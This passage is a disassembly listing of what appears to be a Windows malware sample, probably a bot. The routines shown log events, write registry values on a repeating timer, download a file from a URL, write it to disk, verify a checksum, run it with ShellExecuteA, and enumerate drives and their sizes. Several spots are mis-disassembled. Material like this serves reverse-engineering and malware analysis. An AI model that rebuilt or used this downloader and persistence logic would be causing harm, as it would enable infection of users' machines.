and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_437ED8
mov edi, 0B8h
loc_408D33: ; CODE XREF: sub_408D1F+33j
cmp byte ptr [esi], 0
jz short loc_408D56
push [ebp+arg_0]
push esi
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_408D56
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_438A58
jl short loc_408D33
jmp short loc_408D98
; ---------------------------------------------------------------------------
loc_408D56: ; CODE XREF: sub_408D1F+17j
; sub_408D1F+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_437ED8[esi]
push ebx
call sub_411F70
push 17h
push [ebp+arg_0]
push ebx
call sub_413710
push 9Fh
lea eax, dword_437EF0[esi]
push [ebp+arg_4]
push eax
call sub_413710
add esp, 24h
inc dword_428178
pop ebx
loc_408D98: ; CODE XREF: sub_408D1F+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_408D1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408D9F proc near ; CODE XREF: .nsp0:0040F31Fp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_4256D4
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 14h
xor edi, edi
mov esi, offset dword_437ED8
loc_408DC9: ; CODE XREF: sub_408D9F+72j
cmp byte ptr [esi], 0
jz short loc_408E04
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_4256C8
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41246A
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 2Ch
loc_408E04: ; CODE XREF: sub_408D9F+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_438A58
jl short loc_408DC9
pop edi
pop esi
leave
retn
sub_408D9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408E17 proc near ; CODE XREF: sub_401000+97p
; .nsp0:004013C6p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call dword_41D058 ; GetLocalTime
mov ebx, offset dword_437E94
mov edi, 80h
mov esi, offset dword_433E94
loc_408E39: ; CODE XREF: sub_408E17+3Dj
cmp byte ptr [ebx], 0
jz short loc_408E50
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_413710
add esp, 0Ch
loc_408E50: ; CODE XREF: sub_408E17+25j
sub ebx, edi
cmp ebx, esi
jge short loc_408E39
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41246A
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_408E17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408E8B proc near ; CODE XREF: sub_406250+15Bp
; .nsp0:00406587p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_413D3F
lea eax, [ebp+var_80]
push eax
call sub_408E17
add esp, 14h
leave
retn
sub_408E8B endp
; =============== S U B R O U T I N E =======================================
sub_408EB7 proc near ; CODE XREF: .nsp0:0040F216p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_433E94
xor ecx, ecx
loc_408EBE: ; CODE XREF: sub_408EB7+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_437E94
jl short loc_408EBE
cmp [esp+arg_C], ecx
push esi
mov esi, offset dword_425708
jnz short loc_408EEE
push ecx
push [esp+8+arg_8]
push esi
push [esp+10h+arg_4]
push [esp+14h+arg_0]
call sub_40F9F1
add esp, 14h
loc_408EEE: ; CODE XREF: sub_408EB7+1Fj
push esi
call sub_408E17
pop ecx
pop esi
retn
sub_408EB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408EF7 proc near ; DATA XREF: .nsp0:0040F2C9o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_408F4A
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_425770
push eax
push [ebp+var_11C]
call sub_40F9F1
add esp, 14h
loc_408F4A: ; CODE XREF: sub_408EF7+33j
cmp [ebp+var_98], 0
jz short loc_408F6A
lea eax, [ebp+var_98]
push eax
call sub_41245F
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_408F6A
mov [ebp+var_8], eax
loc_408F6A: ; CODE XREF: sub_408EF7+5Aj
; sub_408EF7+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_433E94
loc_408F73: ; CODE XREF: sub_408EF7+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_408FCD
cmp byte ptr [esi], 0
jz short loc_408FBC
cmp [ebp+var_98], 0
jz short loc_408FA2
cmp [ebp+var_4], 0
jnz short loc_408FA2
lea eax, [ebp+var_98]
push eax
push esi
call sub_407A16
pop ecx
test eax, eax
pop ecx
jz short loc_408FBC
loc_408FA2: ; CODE XREF: sub_408EF7+90j
; sub_408EF7+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_40F9F1
add esp, 14h
loc_408FBC: ; CODE XREF: sub_408EF7+87j
; sub_408EF7+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_437E94
jl short loc_408F73
loc_408FCD: ; CODE XREF: sub_408EF7+82j
lea eax, [ebp+var_31C]
push offset dword_425740
push eax
call sub_411EEE
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_409007
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_40F9F1
add esp, 14h
loc_409007: ; CODE XREF: sub_408EF7+EEj
lea eax, [ebp+var_31C]
push eax
call sub_408E17
push [ebp+var_18]
call sub_411CB6
pop ecx
pop ecx
push esi
call near ptr 0AB0000h
cmp [edi+5Eh], bl
sub_408EF7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409026 proc near ; CODE XREF: .nsp0:00407D07p
; sub_409096+4p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_4257A0
xor esi, esi
mov ebx, offset dword_425BD8
loc_409039: ; CODE XREF: sub_409026+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_433A7C ; RegCreateKeyExA
cmp [ebp+arg_0], esi
jz short loc_409073
push [ebp+arg_0]
call sub_4126F0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_433AEC ; RegSetValueExA
jmp short loc_40907D
; ---------------------------------------------------------------------------
loc_409073: ; CODE XREF: sub_409026+2Fj
push ebx
push [ebp+var_4]
call dword_433A34 ; RegDeleteValueA
loc_40907D: ; CODE XREF: sub_409026+4Bj
push [ebp+var_4]
call dword_433AA4 ; RegCloseKey
add edi, 8
cmp edi, offset unk_4257B8
jl short loc_409039
pop edi
pop esi
pop ebx
leave
retn
sub_409026 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409096 proc near ; CODE XREF: sub_409096+16j
; DATA XREF: .nsp0:00409EB3o
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_409026
pop ecx
push dword_425798
call dword_41D05C ; Sleep
jmp short sub_409096
sub_409096 endp
; =============== S U B R O U T I N E =======================================
sub_4090AE proc near ; CODE XREF: sub_4090E9+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4090E3
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_4090C7: ; CODE XREF: sub_4090AE+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_41D254[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_4090C7
pop edi
pop ebx
loc_4090E3: ; CODE XREF: sub_4090AE+Ej
mov eax, esi
pop esi
not eax
retn
sub_4090AE endp
; =============== S U B R O U T I N E =======================================
sub_4090E9 proc near ; CODE XREF: .nsp0:004093A5p
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41279F
mov [esp+10h+var_10], offset aRb ; "rb"
push [esp+10h+arg_0]
mov esi, eax
call sub_4125E8
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_409138
loc_40910E: ; CODE XREF: sub_4090E9+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_40913C
inc ebx
push ebx
push esi
call sub_413D8F
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_409138
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_413580
add esp, 10h
jmp short loc_40910E
; ---------------------------------------------------------------------------
loc_409138: ; CODE XREF: sub_4090E9+23j
; sub_4090E9+39j
xor eax, eax
jmp short loc_409157
; ---------------------------------------------------------------------------
loc_40913C: ; CODE XREF: sub_4090E9+29j
dec ebx
push ebx
push esi
call sub_4090AE
push esi
mov ebx, eax
call sub_412813
push edi
call sub_412540
add esp, 10h
mov eax, ebx
loc_409157: ; CODE XREF: sub_4090E9+51j
pop edi
pop esi
pop ebx
retn
sub_4090E9 endp
; ---------------------------------------------------------------------------
loc_40915B: ; DATA XREF: .nsp0:0040D609o
; .nsp0:0040DD5Ao
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push dword_433A78
call dword_4339D8 ; InternetOpenUrlA
cmp eax, esi
mov [ebp-18h], eax
jz loc_4095E7
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp-148h]
push 40000000h
push eax
call dword_41D07C ; CreateFileA
cmp eax, edi
mov [ebp-20h], eax
jnb short near ptr loc_409221+1
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_425A30
push eax
call sub_411EEE
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_409205
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_40F9F1
add esp, 14h
loc_409205: ; CODE XREF: .nsp0:004091E3j
lea eax, [ebp-510h]
push eax
call sub_408E17
push dword ptr [ebp-48h]
call sub_411CB6
pop ecx
pop ecx
push esi
call near ptr 0AB0000h
loc_409221: ; CODE XREF: .nsp0:004091C3j
and eax, 15FFFF33h
dec eax
rol byte ptr [ecx+0], 1
mov ebx, 7D000h
mov [ebp-4], eax
push ebx
call sub_41279F
pop ecx
mov [ebp-1Ch], eax
loc_40923C: ; CODE XREF: .nsp0:0040930Fj
push 200h
lea eax, [ebp-510h]
push esi
push eax
call sub_411F70
add esp, 0Ch
lea eax, [ebp+8]
push eax
lea eax, [ebp-510h]
push 200h
push eax
push dword ptr [ebp-18h]
call dword_4339E0 ; InternetReadFile
cmp [ebp-34h], esi
jz short loc_409280
push dword ptr [ebp+8]
lea eax, [ebp-510h]
push eax
call near ptr loc_40964C+1
pop ecx
pop ecx
loc_409280: ; CODE XREF: .nsp0:0040926Dj
lea eax, [ebp-24h]
push esi
push eax
lea eax, [ebp-510h]
push dword ptr [ebp+8]
push eax
push dword ptr [ebp-20h]
call near ptr 0AB0000h
stosb
cmp edi, ebx
jnb short loc_4092BE
mov eax, ebx
sub eax, edi
cmp eax, [ebp+8]
jbe short loc_4092A8
mov eax, [ebp+8]
loc_4092A8: ; CODE XREF: .nsp0:004092A3j
push eax
lea eax, [ebp-510h]
push eax
mov eax, [ebp-1Ch]
add eax, edi
push eax
call sub_411FD0
add esp, 0Ch
loc_4092BE: ; CODE XREF: .nsp0:0040929Aj
add edi, [ebp+8]
cmp [ebp-3Ch], esi
jz short loc_4092CB
cmp edi, [ebp-3Ch]
ja short loc_409315
loc_4092CB: ; CODE XREF: .nsp0:004092C4j
cmp dword ptr [ebp-44h], 1
mov eax, edi
jz short loc_4092E5
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_4259E4
jmp short loc_4092F5
; ---------------------------------------------------------------------------
loc_4092E5: ; CODE XREF: .nsp0:004092D1j
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_4259A0
loc_4092F5: ; CODE XREF: .nsp0:004092E3j
mov eax, [ebp-48h]
imul eax, 234h
add eax, offset dword_438A58
push eax
call sub_411EEE
add esp, 10h
cmp [ebp+8], esi
ja loc_40923C
loc_409315: ; CODE XREF: .nsp0:004092C9j
cmp [ebp-3Ch], esi
mov dword ptr [ebp-14h], 1
jz short loc_40936A
cmp edi, [ebp-3Ch]
jz short loc_40936A
push dword ptr [ebp-3Ch]
lea eax, [ebp-510h]
mov [ebp-14h], esi
push edi
push offset unk_425958
push eax
call sub_411EEE
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_40F9F1
lea eax, [ebp-510h]
push eax
call sub_408E17
add esp, 28h
loc_40936A: ; CODE XREF: .nsp0:0040931Fj
; .nsp0:00409324j
call dword_41D048 ; GetTickCount
sub eax, [ebp-4]
xor edx, edx
mov ecx, 3E8h
push dword ptr [ebp-20h]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call dword_41D074 ; CloseHandle
push dword ptr [ebp-1Ch]
call sub_412813
cmp [ebp-38h], esi
pop ecx
jz short loc_4093F4
lea eax, [ebp-148h]
push eax
call sub_4090E9
cmp eax, [ebp-38h]
pop ecx
jz short loc_4093F4
push dword ptr [ebp-38h]
mov [ebp-14h], esi
push eax
lea eax, [ebp-510h]
push offset unk_42591C
push eax
call sub_411EEE
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_40F9F1
lea eax, [ebp-510h]
push eax
call sub_408E17
add esp, 28h
loc_4093F4: ; CODE XREF: .nsp0:0040939Cj
; .nsp0:004093AEj
cmp [ebp-14h], esi
jz loc_409634
cmp dword ptr [ebp-44h], 1
jz loc_4094EF
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_41D658
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_41D658
fstp qword ptr [esp]
push offset unk_4258D0
push eax
call sub_411EEE
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_40946F
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_40F9F1
add esp, 14h
loc_40946F: ; CODE XREF: .nsp0:0040944Dj
lea eax, [ebp-510h]
push eax
call sub_408E17
cmp dword ptr [ebp-40h], 1
pop ecx
jnz loc_409634
push 5
push esi
lea eax, [ebp-148h]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_433A3C ; ShellExecuteA
cmp [ebp-30h], esi
jnz loc_409634
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset dword_425898
push eax
call sub_411EEE
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_40F9F1
lea eax, [ebp-510h]
push eax
call sub_408E17
add esp, 24h
jmp loc_409634
; ---------------------------------------------------------------------------
loc_4094EF: ; CODE XREF: .nsp0:00409401j
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_41D658
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_41D658
fstp qword ptr [esp]
push offset unk_425844
push eax
call sub_411EEE
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_409557
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_40F9F1
add esp, 14h
loc_409557: ; CODE XREF: .nsp0:00409535j
lea eax, [ebp-510h]
push eax
call sub_408E17
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_411F70
push 44h
lea eax, [ebp-310h]
pop edi
push edi
push esi
push eax
call sub_411F70
add esp, 1Ch
mov [ebp-310h], edi
lea eax, [ebp-10h]
mov dword ptr [ebp-304h], offset byte_432708
push 1
mov [ebp-2E0h], si
pop edi
push eax
lea eax, [ebp-310h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-148h]
push esi
push eax
push esi
mov [ebp-2E4h], edi
call near ptr 0AB0000h
ja short loc_4095FF
mov dword ptr [ebp+12h], 3A2815FFh
inc ebx
add al, ch
pop ss
out 0FFh, eax
call dword ptr [esi-1]
adc eax, offset dword_41D108
loc_4095D9: ; CODE XREF: .nsp0:loc_40964Cj
lea eax, [ebp-148h]
push eax
push offset unk_4257F8
jmp short loc_4095F3
; ---------------------------------------------------------------------------
loc_4095E7: ; CODE XREF: .nsp0:004091A0j
lea eax, [ebp-248h]
push eax
push offset unk_4257B8
loc_4095F3: ; CODE XREF: .nsp0:004095E5j
lea eax, [ebp-510h]
push eax
call sub_411EEE
loc_4095FF: ; CODE XREF: .nsp0:004095C2j
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_409627
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_40F9F1
add esp, 14h
loc_409627: ; CODE XREF: .nsp0:00409605j
lea eax, [ebp-510h]
push eax
call sub_408E17
pop ecx
loc_409634: ; CODE XREF: .nsp0:004093F7j
; .nsp0:00409480j ...
push dword ptr [ebp-18h]
call dword_433AFC ; InternetCloseHandle
push dword ptr [ebp-48h]
call sub_411CB6
pop ecx
push esi
call near ptr 0AB0000h
loc_40964C: ; CODE XREF: .nsp0:00409279p
jge short loc_4095D9
inc esp
and al, 4
xor ecx, ecx
cmp [esp+8], ecx
jle short locret_409669
loc_409659: ; CODE XREF: .nsp0:00409667j
mov dl, byte_425B6C
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+8]
jl short loc_409659
locret_409669: ; CODE XREF: .nsp0:00409657j
retn
; =============== S U B R O U T I N E =======================================
sub_40966A proc near ; CODE XREF: .nsp0:0040C856p
; .nsp0:0040C9B5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_413EAF
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_40966A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409684 proc near ; CODE XREF: sub_404A02+45Dp
; sub_404A02+5F9p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_437E98
push 0
push edi
call sub_411F70
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_4096A9: ; CODE XREF: sub_409684+5Bj
; sub_409684+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_413B10
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_413B90
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_4096E7
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_4096A9
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_4096A9
; ---------------------------------------------------------------------------
loc_4096E7: ; CODE XREF: sub_409684+4Bj
dec esi
mov eax, edi
loc_4096EA: ; CODE XREF: sub_409684+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_4096F9
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_4096EA
; ---------------------------------------------------------------------------
loc_4096F9: ; CODE XREF: sub_409684+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_409684 endp
; =============== S U B R O U T I N E =======================================
sub_409703 proc near ; CODE XREF: sub_4098AF+51p
; sub_4098AF+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_433B28 ; GetDriveTypeA
sub eax, 0
jz short loc_409746
dec eax
jz short loc_409740
dec eax
dec eax
jz short loc_40973A
dec eax
jz short loc_409734
dec eax
jz short loc_40972E
dec eax
jz short loc_409728
mov eax, offset word_425638
retn
; ---------------------------------------------------------------------------
loc_409728: ; CODE XREF: sub_409703+1Dj
mov eax, offset aRam ; "RAM"
retn
; ---------------------------------------------------------------------------
loc_40972E: ; CODE XREF: sub_409703+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_409734: ; CODE XREF: sub_409703+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_40973A: ; CODE XREF: sub_409703+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_409740: ; CODE XREF: sub_409703+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_409746: ; CODE XREF: sub_409703+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_409703 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40974C proc near ; CODE XREF: sub_409794+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4339C4
test eax, eax
jz short loc_409781
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; dword_4339C4
loc_409781: ; CODE XREF: sub_40974C+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40974C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409794 proc near ; CODE XREF: sub_4098AF+17p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_40974C
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_40986C
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_40986C
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_40986C
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_413F00
push edx
push eax
call sub_409684
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41246A
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_413F00
push edx
push eax
call sub_409684
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41246A
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_413F00
push edx
push eax
call sub_409684
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41246A
add esp, 18h
pop ebx
jmp short loc_40989B
; ---------------------------------------------------------------------------
loc_40986C: ; CODE XREF: sub_409794+2Cj
; sub_409794+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_411EEE
lea eax, [ebp+var_118]
push esi
push eax
call sub_411EEE
lea eax, [ebp+var_98]
push esi
push eax
call sub_411EEE
add esp, 18h
loc_40989B: ; CODE XREF: sub_409794+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_409794 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4098AF proc near ; CODE XREF: sub_409981+17p
; sub_409981+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_409794
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_412310
add esp, 10h
test eax, eax
jnz short loc_409922
push ebx
push ebx
call sub_409703
pop ecx
push eax
push offset dword_425AF8
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41246A
add esp, 14h
jmp short loc_409956
; ---------------------------------------------------------------------------
loc_409922: ; CODE XREF: sub_4098AF+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_409703
pop ecx
push eax
push offset dword_425AA8
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41246A
add esp, 20h
loc_409956: ; CODE XREF: sub_4098AF+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
lea eax, [ebp+var_500]
push eax
call sub_408E17
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_4098AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409981 proc near ; CODE XREF: .nsp0:0040EFC9p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_4099A2
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4098AF
add esp, 10h
jmp short loc_409A03
; ---------------------------------------------------------------------------
loc_4099A2: ; CODE XREF: sub_409981+9j
push esi
push edi
push ebx
push ebx
call dword_433A38 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_41279F
pop ecx
mov edi, eax
push edi
push esi
call dword_433A38 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_4099FA
loc_4099C6: ; CODE XREF: sub_409981+77j
push offset aA_0 ; "A:\\"
push esi
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_4099E9
push esi
push [ebp+arg_8]
push [ebp+arg_4]
